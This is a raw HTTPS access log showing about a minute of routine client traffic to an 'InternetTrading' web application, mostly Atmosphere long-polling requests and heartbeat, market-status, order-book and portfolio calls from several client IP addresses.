[09/Jan/2026:09:45:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1180
[09/Jan/2026:09:45:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923422171 HTTP/1.1" -
[09/Jan/2026:09:45:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923420229 HTTP/1.1" -
[09/Jan/2026:09:45:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923421046 HTTP/1.1" -
[09/Jan/2026:09:45:52 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923421748 HTTP/1.1" -
[09/Jan/2026:09:45:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1330
[09/Jan/2026:09:45:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923422825 HTTP/1.1" -
[09/Jan/2026:09:45:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923438685 HTTP/1.1" -
[09/Jan/2026:09:45:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923427373 HTTP/1.1" -
[09/Jan/2026:09:45:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923425267 HTTP/1.1" -
[09/Jan/2026:09:45:57 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923426846 HTTP/1.1" -
[09/Jan/2026:09:45:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923427046 HTTP/1.1" -
[09/Jan/2026:09:45:59 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923428302 HTTP/1.1" -
[09/Jan/2026:09:45:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923443708 HTTP/1.1" -
[09/Jan/2026:09:46:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923432504 HTTP/1.1" -
[09/Jan/2026:09:46:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923430284 HTTP/1.1" -
[09/Jan/2026:09:46:03 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923431922 HTTP/1.1" -
[09/Jan/2026:09:46:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923433054 HTTP/1.1" -
[09/Jan/2026:09:46:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923448732 HTTP/1.1" -
[09/Jan/2026:09:46:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:05 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923434299 HTTP/1.1" -
[09/Jan/2026:09:46:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923437553 HTTP/1.1" -
[09/Jan/2026:09:46:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923435315 HTTP/1.1" -
[09/Jan/2026:09:46:08 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923437017 HTTP/1.1" -
[09/Jan/2026:09:46:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923439061 HTTP/1.1" -
[09/Jan/2026:09:46:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923453757 HTTP/1.1" -
[09/Jan/2026:09:46:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923442599 HTTP/1.1" -
[09/Jan/2026:09:46:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923440352 HTTP/1.1" -
[09/Jan/2026:09:46:11 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923440300 HTTP/1.1" -
[09/Jan/2026:09:46:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923442054 HTTP/1.1" -
[09/Jan/2026:09:46:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923458827 HTTP/1.1" -
[09/Jan/2026:09:46:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923447722 HTTP/1.1" -
[09/Jan/2026:09:46:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923445380 HTTP/1.1" -
[09/Jan/2026:09:46:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923445045 HTTP/1.1" -
[09/Jan/2026:09:46:18 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923447136 HTTP/1.1" -
[09/Jan/2026:09:46:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923463863 HTTP/1.1" -
[09/Jan/2026:09:46:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923446290 HTTP/1.1" -
[09/Jan/2026:09:46:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923452835 HTTP/1.1" -
[09/Jan/2026:09:46:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923450400 HTTP/1.1" -
[09/Jan/2026:09:46:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923451051 HTTP/1.1" -
[09/Jan/2026:09:46:23 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923452251 HTTP/1.1" -
[09/Jan/2026:09:46:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923468926 HTTP/1.1" -
[09/Jan/2026:09:46:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923455290 HTTP/1.1" -
[09/Jan/2026:09:46:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923457991 HTTP/1.1" -
[09/Jan/2026:09:46:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923455449 HTTP/1.1" -
[09/Jan/2026:09:46:28 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923457312 HTTP/1.1" -
[09/Jan/2026:09:46:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923457050 HTTP/1.1" -
[09/Jan/2026:09:46:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923473986 HTTP/1.1" -
[09/Jan/2026:09:46:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923463111 HTTP/1.1" -
[09/Jan/2026:09:46:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923460475 HTTP/1.1" -
[09/Jan/2026:09:46:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923461299 HTTP/1.1" -
[09/Jan/2026:09:46:33 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923462418 HTTP/1.1" -
[09/Jan/2026:09:46:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923463057 HTTP/1.1" -
[09/Jan/2026:09:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923479010 HTTP/1.1" -
[09/Jan/2026:09:46:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:46:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:46:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:46:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923465513 HTTP/1.1" -
[09/Jan/2026:09:46:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923468151 HTTP/1.1" -
[09/Jan/2026:09:46:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923467293 HTTP/1.1" -
[09/Jan/2026:09:46:38 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923467499 HTTP/1.1" -
